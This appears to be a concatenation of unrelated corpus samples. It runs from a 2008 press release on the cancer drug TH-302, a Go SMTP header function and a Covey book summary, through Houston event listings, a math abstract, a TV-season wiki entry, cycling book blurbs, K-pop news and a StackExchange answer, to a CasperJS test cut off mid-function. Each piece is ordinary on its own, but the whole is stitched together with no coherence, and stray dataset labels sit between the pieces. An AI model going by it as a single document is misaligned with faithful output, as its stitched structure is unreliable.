text:
Encouraging Interim Results From a Phase 1 Clinical Trial
By RandyW
July 23, 2008 in CLINICAL TRIALS
Threshold Pharmaceuticals Presents Encouraging Interim Results From a Phase 1 Clinical Trial of TH-302 for Solid Tumors At AACR Conference On Translational Medicine
REDWOOD CITY, Calif., July 22, 2008 (PRIME NEWSWIRE) -- Threshold Pharmaceuticals, Inc. (Nasdaq:THLD) today announced a presentation on its clinical stage hypoxia-activated prodrug, TH-302, at the American Association for Cancer Research (AACR) Centennial Conference on Translational Cancer Medicine: Cancer Clinical Trials and Personalized Medicine, being held July 20-23, 2008, at the Hyatt Regency Hotel in Monterey, CA. Translational research with the incorporation of laboratory scientific breakthroughs into the medical treatment of cancer is a priority of the AACR which views this conference, and others like it, as a forum for current advances in translational cancer medicine and progress against cancer.
Select interim results were presented from an ongoing Phase 1 clinical trial evaluating the safety and preliminary efficacy of TH-302 in patients with advanced solid tumors. The clinical trial was designed with an initial accelerated titration design followed by a standard dose escalation schema. The trial has completed the accelerated titration design component and has enrolled the eighth dosing cohort. The weekly dose has been escalated from the initial dose of 7.5 mg/m2 to 670 mg/m2. None of the 20 patients enrolled to date has experienced any dose limiting toxicities (DLTs). Importantly, one patient with refractory small cell lung cancer metastatic to the liver had a partial response at their initial response assessment with a greater than 45% reduction in target lesion diameters. The patient, who has received two cycles of TH-302 at 480 mg/m2, is being followed by RECIST (Response Evaluation Criteria In Solid Tumors) criteria. Additionally, this patient experienced a marked improvement in liver function tests. Other anti-tumor activity observed include one patient with non-small cell lung cancer with tumor shrinkage lasting over 6 months.
"While these results are preliminary, they are encouraging to us, our clinical investigators and, importantly, to patients," said John Curd, M.D., Threshold's president and chief medical officer. "We remain focused on completing this clinical trial as well as starting Phase 1/2 trials with TH-302 in combination with several widely-used chemotherapeutic agents."
The Company also reported on in vivo translational studies designed to select effective combinations of TH-302 and standard chemotherapies in order to complement the activity and tolerance of chemotherapy. In preclinical models, TH-302 demonstrated single agent activity; however, combination therapy was associated with higher complete response rates, longer survival and greater tumor growth inhibition in multiple preclinical models utilizing various tumor types and tumor implantation methods.
In a poster entitled Targeting Tumor Hypoxia with TH-302 and Complementary Chemotherapy, combinations of TH-302 with docetaxel, paclitaxel, or gemcitabine were associated with complete responses and increased survival in orthotopic models of pancreatic cancer (MIA PaCa-2) and prostate cancer (PC-3) and in models of established bone (PC-3) and lung metastases (H460). Combinations of TH-302 and 5FU, carboplatin, cisplatin, or pemetrexed were also evaluated in human tumor xenografts. Combination therapy tumor growth inhibition was superior compared with TH-302 or chemotherapy alone.
The results from the preclinical studies outlined yesterday at the AACR conference facilitated the planning of the next clinical trial of TH-302, a multiple-arm, Phase 1/2 clinical trial of TH-302 in combination with docetaxel, in combination with gemcitabine, and in combination with pemetrexed. The Company plans to commence this trial in the third quarter of 2008.
A copy of the poster presented at AACR may be obtained by calling the Company.
About Threshold Pharmaceuticals
Threshold is a biotechnology company focused on the discovery and development of drugs targeting Tumor Hypoxia, the low oxygen condition found in microenvironments of most solid tumors. This approach offers broad potential to treat most solid tumors. By selectively targeting tumor cells, we are building a pipeline of drugs that hold promise to be more effective and less toxic to healthy tissues than conventional anticancer drugs. For additional information, please visit our website (www.thresholdpharm.com).
Except for statements of historical fact, the statements in this press release are forward-looking statements, including statements regarding Threshold's product candidates, clinical trial results and plans, and potential therapeutic uses and benefits of our product candidates. These statements involve risks and uncertainties that can cause actual results to differ materially from those in such forward-looking statements. Potential risks and uncertainties include, but are not limited to, Threshold's ability to commence its anticipated clinical trials, the time and expense required to conduct such clinical trials and analyze data, the possibility that results from these trials will not be confirmed in subsequent trials, potential adverse side effects, issues arising in the regulatory or manufacturing process and the results of such clinical trials (including product safety issues and efficacy results). Further information regarding these and other risks is included under the heading "Risk Factors" in Threshold's Quarterly Report on Form 10-Q, which was filed with the Securities Exchange Commission on May 8, 2008 and is available from the SEC's website (www.sec.gov) and on our website (www.thresholdpharm.com) under the heading "Investors." We do not intend to update any forward-looking statement made in this news release.
CONTACT: Threshold Pharmaceuticals, Inc.
Denise T. Powell, Sr. Director, Corporate Communications
dpowell@thresholdpharm.com


text:
package smtpd

import (
	"crypto/tls"
	"fmt"
	"strings"
	"time"
)

// Envelope holds a message
type Envelope struct {
	Sender     string
	Recipients []string
	Data       []byte
}

// AddReceivedLine prepends a Received header to the Data
func (env *Envelope) AddReceivedLine(peer Peer) {

	tlsDetails := ""

	tlsVersions := map[uint16]string{
		tls.VersionSSL30: "SSL3.0",
		tls.VersionTLS10: "TLS1.0",
		tls.VersionTLS11: "TLS1.1",
		tls.VersionTLS12: "TLS1.2",
	}

	if peer.TLS != nil {
		tlsDetails = fmt.Sprintf(
			"\r\n\t(version=%s cipher=0x%x);",
			tlsVersions[peer.TLS.Version],
			peer.TLS.CipherSuite,
		)
	}

	line := wrap([]byte(fmt.Sprintf(
		"Received: from %s [%s] by %s with %s;%s\r\n\t%s\r\n",
		peer.HeloName,
		strings.Split(peer.Addr.String(), ":")[0],
		peer.ServerName,
		peer.Protocol,
		tlsDetails,
		time.Now().Format("Mon Jan 2 15:04:05 -0700 2006"),
	)))

	env.Data = append(env.Data, line...)

	// Move the new Received line up front

	copy(env.Data[len(line):], env.Data[0:len(env.Data)-len(line)])
	copy(env.Data, line)

}

redpajama_set_name: RedPajamaGithub


The title clearly conveys great value — who wouldn't want to know the seven habits of highly effective people? After all, aren't the lot of us trying to achieve great dreams and goals? And we need to maximize our productivity and efficiency to get there, right?
However, if you've never read the book, you wouldn't know that you're missing out on so much more than just those seven habits. The book is a veritable treasure trove of productivity and achievement wisdom on a level that few books have ever come close to matching– and we're about to open the chest.
The first life-changing lesson is one of the most important you could ever learn about maxing out the value of your time. It's called the "Eisenhower method" and it's named after former U.S. president Dwight D. Eisenhower, who was reportedly the first to use it.
In his book, Covey calls it the "four quadrants of time-management" and expands upon the idea further.
The basic idea behind the four quadrants is this that there are two primary factors which are constantly fighting against one another when it comes to our actions: urgency and importance.
By organizing our tasks based on all four possible combinations of these two principles, you can identify where you should be placing most of your time (hint: it's Quadrant 2) and which should be pushed back for those priority tasks.
Every great achievement in recorded history took forethought and planning to achieve. So, before you can ever hope to make something a reality– or, at the very least, as you go– you must first create a clear and thorough plan for doing just that.
More than just creating a plan for achieving X goal, this is about reverse engineering your success.
It's about looking forward into the future and imagining yourself accomplishing said goal and then working backward to imagine how, piece by piece, you might make that goal a reality in concrete, measurable terms.
Covey says we need to, "begin with the end in mind" and use our imagination to craft a vision that is not just compelling, but practical.
Throughout our life, we have many different things which we care about and that concern us. This includes family, health, our job, long-term career goals, politics, the threat of war, and so on. This is our circle of concern.
However, within this circle of concerns there are many things which we can't do much about, or, at least, as much as other things. By focusing in on those things within our circle of concern which we can exert the most influence over, we can maximize our influence and productivity. This is our circle of influence.
It's your job to find your own circle of influence, whether that's within your work, business, or life at large so you can find the things which will be the most productive use of your time.
Principles are deep, fundamental truths, classic truths, generic common denominators. They are tightly interwoven threads running with exactness, consistency, beauty, and strength through the fabric of life.
In 7 Habits, Covey talks about the relatively recent shift (last century) from a principle-centered method of self-improvement to one which is now focused on acquiring things such as skills and abilities.
Since even before the ancient Greeks, principles-centered living was known to cultivate character, and that cultivation of character led to happiness and achievement. This way of living creates a sort of harmony between us and the world that allows us to move about the world more effectively.
I personally love this approach because it develops virtues in you which make you a stronger, wiser, and more effective human being as a whole, not one specialized in one or two subjects which then has problems in areas in which they don't have sufficient skill or experience.
The final lesson is one of my favorite of all and it's an incredibly smart insight into the way our mind works and how we can maximize our productivity.
2nd Generation: Future planning such as personal calendars. No longer simply dealing with the wave of demands, we now seek to take control.
3rd Generation: Adds prioritization + goal setting. Certain things are more important than others, so we must compare the value of each activity and structure our time in a way that matches these priorities.
4th Generation: Shift in perspective from time and "things" to cultivating relationships and results.
[The 4 generations of time management] recognizes that 'time management' is really a misnomer–the challenge is not to manage time, but to manage ourselves. Satisfaction is a function of expectation as well as realization. And expectation (and satisfaction) lie in our Circle of Influence.


text:
No License to Discriminate: Postcard Party & Happy Hour
Axelrad, 1517 Alabama St.
Join the ACLU of Texas and the Transgender Education Network of Texas for a postcard party and happy hour to keep discrimination out of Texas. We need your help to stop SB 17, a bill that would create a license to discriminate against virtually anyone – especially LGBTQ Texans – for religious reasons.
Come out to Axelrad and fill out postcards or submit testimony to your lawmakers. We'll be there from 6:30PM until 8:00PM so be sure to drop by and make your voice heard. Register to attend via the ticket link above and your first drink is on us!
Achieving Zero Waste in Houston & What You Can Do
online, not applicable
not applicable, not applicable United States + Google Map
You are invited to join Rosanne Barone, Program Director in Houston for Texas Campaign for the Environment, for an online talk on Achieving Zero Waste in Houston & What You Can Do. Rosanne will address policymaking at the local and state levels to achieve zero waste goals and address problematic waste facilities, as well as international efforts to curb the production of products that can't be recycled.
Film Screening, "Tim Wise on White Privilege"
Free. Donations appreciated. RSVP required.
In anticipation of his keynote address at the 2019 Juneteenth Ally Award Luncheon, The Center for the Healing of Racism invites your to a screening of the film "Tim Wise on White Privilege" on Thursday, May 30, 2019 at 6:30PM, 3412 Crawford (at Holman), Houston, TX 77004. Wise is one of the nation's most prominent antiracism educators and writers. The event is free and open to the public.
Climate Change Forum hosted by PSR East End
The City of Houston's – E.B. Cape Center, 4501 Leeland St.
PSR East End Houston is hosting a climate change forum on Saturday, June 1 to discuss current efforts by the City of Houston and Harris County to create policies around climate change in our area and what advocacy efforts are needed to see such policies implemented for the benefit of Houston's East End, the City of Houston, and Harris County, Texas.
HOUSTONIANS ARE CALLED TO DANCE FOR PEACE
June 2 @ 10:00 am - 12:00 pm
Hermann Park, 5555 Hermann Park Drive
Core Dance, a professional dance organization, invites Houstonians of all ages and abilities to come together to dance for peace on Sunday, June 2 from 10am to noon in Hermann Park. Now in its 39thyear, Planetary Danceis a simple dance that everyone can do co-created by Anna Halprin. Known as the pioneer of the postmodern dance movement, Halprin describes Planetary Danceas "a dance for promoting peace among people and peace with the Earth." Local dancers and drummers will invite those participating to walk, run, or stand in three concentric circles creating a moving mandala. Halprin's intent is that the group will form a collective body whose every step will become a prayer for healing Earth.
Houston Central Solar Co-Op for Houses of Worship & Their Members
St. Philip Presbyterian Church & online, 4807 San Felipe
The Interfaith Environmental Network of Houston invites houses of worship& their members to learn how they can go solar for less as part of theHouston Central Solar Co-Op. A co-op leverages bulk-purchasing power toget discounted pricing. Each participant gets an individual solar quote, but asingle installer is selected for the group.
Peace Camp 2019 – Week One
Houston Mennonite Church, 1231 Wirt Rd.
Peace Camp is an alternative day camp, from 9am - 3pm, for children ages 5-18. The focus will be on developing inner peace and building problem solving skills. Yoga, gardening, special guests, using puppets co-operative games, and cooking are some of the activities planned. Youth who are 13 and older will have a curriculum that deals with gun control, racism, LGBTQ issues, PTSD, and other more mature topics.
Montrose/59 Bridge Blog
Refuse Fascism Texas hosts a Bridge Blog at Montrose and Highway 59 every Tuesday beginning at 4:30 pm and usually ending about 6:00 pm. We gather around one theme every week to give a clear message to the drivers. Our presence offers the rush-hour traffic the assurance that people will not tolerate policies, bills, new laws that promote hatred or anything that disrupts peace. RF is a non-violent, civil disobedience group.
Weltanschauung: Episode I – The Great Acceleration, Part I
June 12 @ 10:00 pm - June 13 @ 12:00 am
A Television Program examining "The Great Acceleration". This episode will focus on the confluence of human activities that have resulted in environmental degradation, from an earth system perspective.
World Refugee Day: Presenting "When We Were Strangers"
14 Pews Arts Theater, 800 Aurora
In celebration of World Refugee Day, Independent Writer, Kimberly Meyer is coupling a film screening of Soufra with the launching of her project "When We Were Strangers" – following the lives of nine single mother refugees in Houston, which has been funded in part by a grant from Houston Arts Alliance.
Tim Wise Honored at Annual Juneteenth Ally Award Luncheon
St. Paul's United Methodist Church, Fondren Hall, 5501 Main Street
Tim Wise, one of the country's leading anti-racism writers and educators, will deliver the keynote address at The Center for the Healing of Racism's Annual Ally Award Luncheon on Saturday, June 15, 2019 at 12 noon, St. Paul Methodist Church, Fondren Hall, 5501 Main Street, Houston, TX 77004. The author of seven books on race and racism, Wise is a popular speaker at venues across the United States, on television, radio and podcasts. He will be joined by two other Award recipients, Houston's SHAPE Community Center, which has worked to improve he quality of life for Houston's African American community for the past 50 years, and Maya Ford, who will receive an Individual Initiative Award for her courage to sit in silence alone in the parking lot of a detention center for migrant children and families.
Peace Camp 2019 – Week Two
Mission Milby Community Center, 2220 Broadway St.
Juneteenth Vigil
Mayfield Park, 106 Avenue D
Sugar Land, 77498 + Google Map
Join the Convict Leasing and Labor Project for a Juneteenth Vigil honoring the Sugar Land 95 and the 400th anniversary of the arrival of the first enslaved African to the United States. Dinner will be provided followed by a candlelight vigil.
OKRA Charity Saloon Event for Amnesty International Houston
One event on June 25, 2019 at 6:00 pm
OKRA Charity Saloon, 924 Congress St
Please join Amnesty International Houston, Local Group 23 at a "Drink for a Cause!" event upstairs at the OKRA Charity Saloon.
For each drink purchased, guests receive one vote that they may cast that night for Amnesty Houston.
Vigil for Detainees at Joe Corley Detention Center, Conroe
Joe Corley Detention Center, 500 Hilbig Rd.
Conroe, 77301 + Google Map
Joe Corley Detention Center and Montgomery Processing Center, one mile away, both hold 1,000 detainees and both are operated by GEO, a Florida based private correctional company that operates 40 facilities in the United States and in 10 other countries.. We will vigil at the entrance of the Joe Corley for proper treatment of detainees.
Stop Trump Now! No More Raids, Detentions, and Deportations!
Trump's relentless attacks on migrants are leading to more abuse, neglect, misery, and deaths. It is time for people to take a stronger stand against this racist repression. The criminalization of migrants and militarization of the border has contributed to thousands of deaths in the past decade. Scores of migrants have died at the hands of the Trump administration. Families continue to be separated. And private migrant prisons are profiting from the government's cruelty.
Free Los Ninos Coalition will hold a demonstration against SWK's child detention center and call for an end to all raids, detentions, and deportions on Thursday, July 4, at 1 pm. This national holiday is the perfect time to point out how the systemic repression of migrants demonstrates that all the official rhetoric about "liberty and justice for all" is a lie. And for those of us who really do want freedom, equality, and real democracy, this is the perfect time to come out and say so as we demand justice for migrants.
Houston Vigil Against Detention Camps at SW Key
Southwest Key Detention Center, 419 Emancipation Ave.
On July 12, people across the United States will gather to make a stand against detention camps and the human rights abuses of ICE.
Join us to make a statement and to organize together as a community to stand up for what is right at the Southwest Key Detention Center on Emancipation Avenue, where kids have recently been moved in.
VegFest Houston
Minute Maid Park, 501 Crawford St. 77002 + Google Map
The 7th Annual VegFest Houston is moving to a huge new home at Minute Maid Park! Our Vegan Festival features include: superb vegan restaurants, exciting vegan and abolitionist animal rights organizations, 'Kids Zone' Makerspace with crafts, vegan food & fitness demos, our popular "Ask a Vegan" booth and panels, free product samples, like-minded community booths and green businesses, plus raffle prize giveaways. Join us we make history again on Saturday, July 13, 2019!
Free film screening: The Chocolate Case
Come for the film, enjoy the treats and even shop the #FairTrade store for gifts or yourself. Every purchase matters and this is your chance to be a part of the movement to put people and the planet first.
The film follows 3 Dutch journalists who uncover child labor in the cocoa production chain, which triggers them to try to persuade large corporations to end unethical practices. The trio sets out on a mission to develop the first 'slave-free' chocolate bar, known as 'Tony's Chocolonely' – now one of Holland's leading chocolate brands. The film is both an expose of problems within the chocolate supply chain, and an inspirational story of people trying to change the world they live in.

redpajama_set_name: RedPajamaCommonCrawl


Abstract: In this paper we study vector-valued slowly varying and periodic at infinity functions of several variables. We introduce the notion of Fourier series and derive an analog of the celebrated Wiener theorem that deals with the absolutely convergent Fourier series. We also derive a criterion of representability of periodic at infinity function as a sum of pure periodic and vanishing at infinity functions and criteria of periodicity at infinity for solutions of difference and differential equations. The main results are derived by means of the spectral theory of isometric group representations.
Keywords: Banach space, Banach algebra, slowly varying at infinity functions, periodic at infinity functions, Fourier series, periodic vector, Wiener theorem.


text:
The third and final season of Tangle, an Australian drama television series, premiered on Showcase on 25 March 2012. It consists of 6 episodes and concluded on 29 April 2012.

It was confirmed in December 2010, with production beginning in June 2011 and ended in August. It is written by Fiona Seres and Tony McNamara, and directed by Emma Freeman and Michael James Rowland.

Cast

Regular
 Justine Clarke as Ally Kovac
 Kat Stewart as Nat Manning
 Catherine McClements as Christine Williams
 Joel Tobeck as Tim Williams
 Matt Day as Gabriel Lucas
Blake Davis as Max Williams
 Lincoln Younes as Romeo Kovac
 Eva Lazzaro as Gigi Kovac
 Kick Gurry as Joe Kovac

Recurring
 Jane Allsop as Tanya
Lucia Emmerichs as Ophelia
 Georgia Flood as Charlotte Barker
 Dan Wyllie as Michael Chubievsky
Michael Clarke-Tokely as Luke Wintle
Maude Davey as Agatha
Tony Rickards as Billy Hall

Episodes

Awards and nominations

Wins
 AACTA Award for Most Outstanding Drama – Tangle
 ASTRA Award for Most Outstanding Performance By An Actor: Male – Lincoln Younes
 ASTRA Award for Most Outstanding Performance By An Actor: Female – Catherine McClements

Nominations
 ASTRA Award for Best Television Drama Series – Tangle
 ASTRA Award for Most Outstanding Performance By An Actor: Male – Dan Wyllie
 ASTRA Award for Most Outstanding Performance By An Actor: Female – Justine Clarke
 ASTRA Award for Most Outstanding Performance By An Actor: Female – Eva Lazzaro
 Logie Award for Most Outstanding Drama Series – Tangle
 Logie Award for Most Outstanding Actress – Catherine McClements

DVD release

References

2012 Australian television seasons

redpajama_set_name: RedPajamaWikipedia


text:
Cycling Climbs of Scotland
Another enjoyable attempt by Simon Warren to wear your legs away, but this time it serves up slightly short measures
The Hardmen - Legends of the Cycling Gods by The Velominati
An introduction to some of the events and riders that have made a lasting impression on the Velominati
The Complete Bike Owner's Manual
Covers the general principles of cycle maintenance in simple steps, benefiting from clear CGI illustrations
Cycling's Strangest Tales
A collection of quirky stories about cycling that for the most part fit into an existing and successful format
The Cyclist Who Went Out In The Cold
Tim Moore does it again, enhancing his reputation as one of the best exponents of the cycling travelogue
Corsa Rosa
Contains little that has not been seen before, but presents it in a concise and accessible format
Pedal Power by Anna Hughes
A wide-ranging selection of stories that provides a brief introduction to some of cycling's many inspirational characters
Giro d'Italia: The Story of the World's Most Beautiful Bike Race by Colin O'Brien
Enjoyable but brief overview of the Giro d'Italia and its many stories, prompted by the 100th edition of the race
Bike Nation — How Cycling Can Save the World by Peter Walker
Excellent book that makes a strong case for how society benefits from an increase in everyday cycling
Cycling Jerseys by Chris Sidwells
A different perspective on the history of cycle racing, based around the evolution of cycling jerseys
Re:Cyclists - 200 years on two wheels
An entertaining and informative look at the development of the bicycle, and how we got to where we are now
Haynes Road Cycling Manual
A relatively thorough, easy-to-use and informative guide to everything road cycling
The Brooks Compendium of Cycling Culture, edited by Guy Andrews
Unusual, entertaining and surprising mix of stories about the culture of cycling and its place in history.
Fabian Cancellara by Guy Van Den Langenbergh
A picture-rich review of highlights from the career of one of the peloton's most popular and successful riders
At The Edge - Riding For My Life by Danny MacAskill
Everything you wanted to know about what makes Danny Mac so good, so driven, and so successful
Greg LeMond – Yellow Jersey Racer by Guy Andrews
A lavishly produced look back at the career of a deservedly popular and successful cyclist
Mountains: Epic Cycling Climbs by Michael Blann
A great combination of photographs of well-known mountains with short essays from well-known cyclists
Ultimate Étapes by Peter Cossins
Filled with beautiful photos and useful information, this book could tempt you to tackle something really big
Paul Smith's Cycling Scrapbook
A rare insight into the personal collection of cycling memorabilia from a high-profile collector
The Inside Track: Laura Trott and Jason Kenny
A well-timed and very readable joint biography from cycling's 'golden couple'
Prosper0 6 hours 59 sec ago


Gunpowder originally comes from the Zhejiang province in South-East China and was the first Chinese tea known to the world outside of China. The tea is named by the shape, which looks remarkably like shot pellets or gunpowder. Upon infusion the leaf opens quickly to become large and flat. The tea has a tart taste and bright green leaf.


Published: November 25, 2018 10:04 Samar Khouri, Special to tabloid!
Zico has decided to part ways with boy group Block B following the expiry of his seven-year contract with agency Seven Seasons.
The musician will focus on his solo career and is expected to make a comeback sometime next year, following his first solo domestic concert, entitled The King Of The Zungle. He is also likely to set up a one-man agency, but nothing has been confirmed yet.
Seven Season's remaining six members — Taeil, U-Kwon, Park Kyung, B-Bomb, Jaehyo, and P.O — have extended their contracts. Because deadlines for their enlistment in the country's mandatory military is approaching at different time periods, the six members will be active in solo or subunit activities for the time being. None of the members have started their military service.
Zico — real name Woo Ji-ho — had been the leader and main songwriter of Block B since 2011. Apart from his group activities, the 26-year-old made a household name for himself in the South Korean music scene.
He broke stereotypes about rappers to establish himself as one of South Korea's most renowned artists, music producers, and songwriters. He started his own successful solo career and produced hits such as Tough Cookie, Artist, Fear, Boys and Girls, Soulmate and other songs that topped the charts in addition to being either nominated or won at annual awards in Korea. Zico also wrote for prominent artists including Wanna One PSY, and Mino from K-Pop group Winner.
Along with a contingent of artists, Zico made headlines for his bringing hip hop onstage in front of Kim Jong-un and other North Korean officials at a three-day inter-Korean summit.
Block B's last album as a seven-member group was Re:MONTAGE, back in January.


The Historic Tennis Club in Palm Springs, CA.
The Tennis Club is a charming neighborhood that has the distinction of being one of the oldest in Palm Springs and possesses a true sense of community. The Tennis Club's eclectic mixture of 240 single family residences, several condominium properties, over 25 small boutique hotels and restaurants serve to give this neighborhood a true village feeling. Its location is just steps away to Palm Springs' exciting and alive downtown area. Many of the properties remain surrounded by rustic stone walls and there is even said to be an Indian burial ground here.
The prestigious Tennis Club which this neighborhood was named after was founded in 1937 by Pearl McCallum McManus. She is known as the person responsible for bringing Mid Century Modernism to Palm Springs by incorporating this architectural style into the Club's design and layout.
Spanish and Moroccan style homes were also built in this community, giving the Historic Tennis Club its charming eclectic ambiance. There are eleven structures located within its boundaries which are on the historic registry.
Though living in the Tennis Club gives one the feeling of stepping back in time, it is conveniently located just a twenty minute drive away from the Palm Springs International Airport and Interstate 10, making travel outside of the valley easy and accessible.
The Tennis Club's charm is its eclectic mix of 240 unique homes along with small hotels, restaurants, etc. Residents ardently guard its historic character and livability and the Historic Tennis Club Neighborhood Organization was started for just that reason – to maintain and promote the diverse and unique architectural design and the tranquil desert environment that characterize the current lifestyle and quality of residents living within its boundaries. If you're seeking a community oriented lifestyle and love the magic of old style Palm Springs, then the Tennis Club would be a perfect fit.
Recent Condo HOA: Tennis Club 400 West – $200/mo.; Tennis Club 500 West – $300/mo.
People who like Historic Tennis Club also tend to enjoy Old Las Palmas , Vista Las Palmas, The Movie Colony and Little Tuscany.


text:
Q: In ruby with sinatra, How to get I response with get method on rest client? I use ruby with sinatra and I used rest-client on import for payment.
I got token that string typed through post method on specific url: '... /users/getToken'.
Using this token, I wanna get payments information with get method on this url:
get_url = 'https://api/iamport.kr/payments/'+imp_uid
the detail codes are below,
def get_paymentsdetails(token, imp_uid)
    get_url = 'https://api.iamport.kr/payments/'+imp_uid

    response = RestClient.get get_url, :data => {}.to_json, :accept => :json, :headers => {'Authorization' => token}
    json = JSON.parse(response, :symbolize_names => true)
    # json = JSON.parse(response.to_json, {:symbolize_names => true})

    return json
end

However, I got 401 unauthorized error on this part of code.
response = RestClient.get get_url, :data => {}.to_json, :accept => :json, :headers => {'Authorization' => token}

After I access get_url with specific imp_uid, I got this page,{"code":-1,"message":"Unauthorized","response":null}
I checked parameter token and imp_uid of get_paymentsdetails function have valid string values,, so How can I access response parameter??
I think that there are some problems on response = RestClient.get get_url.... code.
Thanks.

A: Method 'get' from the 'RestClient' class return some object with attributes. So response have few values. Which of them do you need? Access to them you can get by their names, its described here.
In your case, after response = RestClient.get get_url... you should have variable response and ability to call response.headers, response.code or response.body.
But im afraid that you have some problems with autorization, which means that imp_uid or token is not correct. Thats why remote server sended to you responce with http-code 401 (Unauthorized). If it is so you should try to check your imp_uid and token. If everything is correct try to reach support of  iamport.kr .

redpajama_set_name: RedPajamaStackExchange


"Human Safety and Environment-friendly" are the goals for which Aleees endeavors to serve the community .
Since 1996 when the first LFP-NCO (lithium ferrous phosphate nano metal oxide co-crystalline olivine compound) was used as the cathode material in lithium batteries, the quality, stability and patent issue have been the bottlenecks for its industrial development. Aleees masters the industry-leading manufacturing process with the strength of high-quality and long cycle life of the products. With the global patent portfolio, Aleees collaborates with customers to achieve the record of being the world's No. 1 supplier of shipping the LFP-NCO (lithium ferrous phosphate nano metal oxide co-crystalline olivine compounds) in two consecutive years. Quality is the most important value of Aleees and the recognition and support by world's major battery manufacturers are the reasons for Aleees to continuously grow. Aleees applies the high-quality high cycle life cathode materials in the batteries for all types of electric vehicles. From the production to recycling of batteries, Aleees constructs the Cradle to Cradle industry service chain to completely realize the environment declaration of "Human Safety and Environment-Friendly".
The key points for the R & D of the next-generation vehicles are the energy conservation and environmental protection (focused on the development of new energy and alternative energy sources). From being the world's No.1 material supplier to the promoter of the electric buses and battery charge/exchange service systems, Aleees masters the development and manufacturing technology of high quality and long cycle life cathode materials and collaborates with partners to create Taiwan's first " battery swappalbe type electric buses".
We are expected to achieve the goal of "Oil and electricity equivalent". Aleees and industry partners collaborates to promote electric buses and battery swapping systems to replace the existing diesel buses which may lead to high carbon emissions. With our own technology and complete control of the quality and battery recycling, we can reduce the hazards of the batteries to personal safety and environment. In addition, Aleees cooperates with local governments and tourism bus carriers to create low carbon comfortable cities. Aleees combines technology and humanity to achieve a sustainable development balance between the human development and environmental conservation so as to realize the corporate philosophy of human safety and environment friendly.
Aleeesholds the human safety and environment friendly as the enterprise's core objective.
Aleeesmasters the proprietary lithium ferrous phosphate nano metal oxide co-crystalline olivine compound technology.
Aleeescontinues to improve the lithium ferrous phosphate manufacturing technology so as to ensure its position as a global market leader.
Aleees provides products with high quality and long cycle life.
Aleeesdevelops the materials with the highest cycle life to be used in the energy storage devices of electric vehicles so as to reduce the cost per use of electric vehicles.
Earth's climate and environment is facing crisis and changes which are difficult to repair due to the greenhouse gases produced by human. In order to leave our descendants a better living environment and fulfill our corporate responsibility, Aleees collaborates with various industry partners to reduce carbon dioxide emissions and to provide a complete solution to construct a sustainable living environment on Earth.


text:
casper.test.begin('Widget - Manage user', function(test) {

    /**
     * Open the manage user modal with assertions
     *
     * @param  {User}    user    User profile object to test with
     */
    var openManageUser = function(user) {
        casper.waitForSelector('li[data-id="' + user.id + '"]', function() {
            test.assertExists('li[data-id="' + user.id + '"]', 'Manage user trigger exists');
            casper.click('li[data-id="' + user.id + '"]');
            casper.waitUntilVisible('#manageuser-modal', function() {
                test.assertVisible('#manageuser-modal', 'Manage user pane is showing after trigger');
            });
        });
    };

    /**
     * Verify all manage user elements on the profile tab are present
     */
    var verifyManageUserElementsProfile = function(user) {
        casper.echo('Verify profile tab elements', 'PARAMETER');
        test.assertExists('#manageuser-modal #manageuser-tab-container a[href="#manageuser-editprofile-form"]', 'Verify that the profile tab is present');
        casper.click('#manageuser-modal #manageuser-tab-container a[href="#manageuser-editprofile-form"]');
        test.assertExists('#manageuser-modal #manageuser-tab-container li.active a[href="#manageuser-editprofile-form"]', 'Verify that the profile tab is active after clicking the tab');
        test.assertExists('#manageuser-modal .tab-content #manageuser-editprofile-form.active', 'Verify that the profile pane is showing after clicking the tab');

        test.assertExists('#manageuser-modal #manageuser-editprofile-form.active .oae-thumbnail', 'Verify that the user\'s thumbnail is present');
        test.assertExists('#manageuser-modal #manageuser-editprofile-form.active label[for="manageuser-editprofile-name"]', 'Verify that \'Name\' label is present');
        test.assertSelectorHasText('#manageuser-modal #manageuser-editprofile-form.active label[for="manageuser-editprofile-name"] h4', 'Name', 'Verify that \'Name\' label has the correct title');
        test.assertExists('#manageuser-modal #manageuser-editprofile-form.active input#manageuser-editprofile-name', 'Verify that \'Name\' input field is present');
        test.assertEvalEquals(function() {
            return $('#manageuser-modal #manageuser-editprofile-form.active input#manageuser-editprofile-name').val();
        }, user.displayName, 'Verify that \'Name\' input field has the correct display name');
        test.assertExists('#manageuser-modal #manageuser-editprofile-form.active label[for="manageuser-editprofile-email"]', 'Verify that \'Email\' label is present');
        test.assertSelectorHasText('#manageuser-modal #manageuser-editprofile-form.active label[for="manageuser-editprofile-email"] h4', 'Email', 'Verify that \'Email\' label has the correct title');
        test.assertExists('#manageuser-modal #manageuser-editprofile-form.active input#manageuser-editprofile-email', 'Verify that \'Email\' input field is present');
        test.assertEvalEquals(function() {
            return $('#manageuser-modal #manageuser-editprofile-form.active input#manageuser-editprofile-email').val();
        }, user.email, 'Verify that \'Email\' input field has the correct email');

        test.assertSelectorHasText('#manageuser-modal #manageuser-editprofile-form.active h4', 'Profile visibility', 'Verify that \'Profile visibility\' label is present and has the correct title');
        test.assertExists('#manageuser-modal #manageuser-editprofile-form.active .oae-large-options-container', 'Verify that the privacy options container is present');
        test.assertExists('#manageuser-modal #manageuser-editprofile-form.active .oae-large-options-container label[for="oae-visibility-private"]', 'Verify that the \'private\' privacy option label is present');
        test.assertExists('#manageuser-modal #manageuser-editprofile-form.active .oae-large-options-container label[for="oae-visibility-private"] input[type="radio"]', 'Verify that the \'private\' privacy option radio button is present');
        test.assertExists('#manageuser-modal #manageuser-editprofile-form.active .oae-large-options-container label[for="oae-visibility-loggedin"]', 'Verify that the \'logged in\' privacy option label is present');
        test.assertExists('#manageuser-modal #manageuser-editprofile-form.active .oae-large-options-container label[for="oae-visibility-loggedin"] input[type="radio"]', 'Verify that the \'logged in\' privacy option radio button is present');
        test.assertExists('#manageuser-modal #manageuser-editprofile-form.active .oae-large-options-container label[for="oae-visibility-public"]', 'Verify that the \'public\' privacy option label is present');
        test.assertExists('#manageuser-modal #manageuser-editprofile-form.active .oae-large-options-container label[for="oae-visibility-public"] input[type="radio"]', 'Verify that the \'public\' privacy option radio button is present');
        test.assertExists('#manageuser-modal #manageuser-editprofile-form.active .oae-large-options-container label[for="oae-visibility-public"].checked', 'Verify that the \'public\' privacy option is checked');
        casper.click('#manageuser-modal #manageuser-editprofile-form.active .oae-large-options-container label[for="oae-visibility-private"] input[type="radio"]');
        test.assertDoesntExist('#manageuser-modal #manageuser-editprofile-form.active .oae-large-options-container label[for="oae-visibility-public"].checked', 'Verify that the \'public\' privacy option is unchecked after clicking a different privacy option');
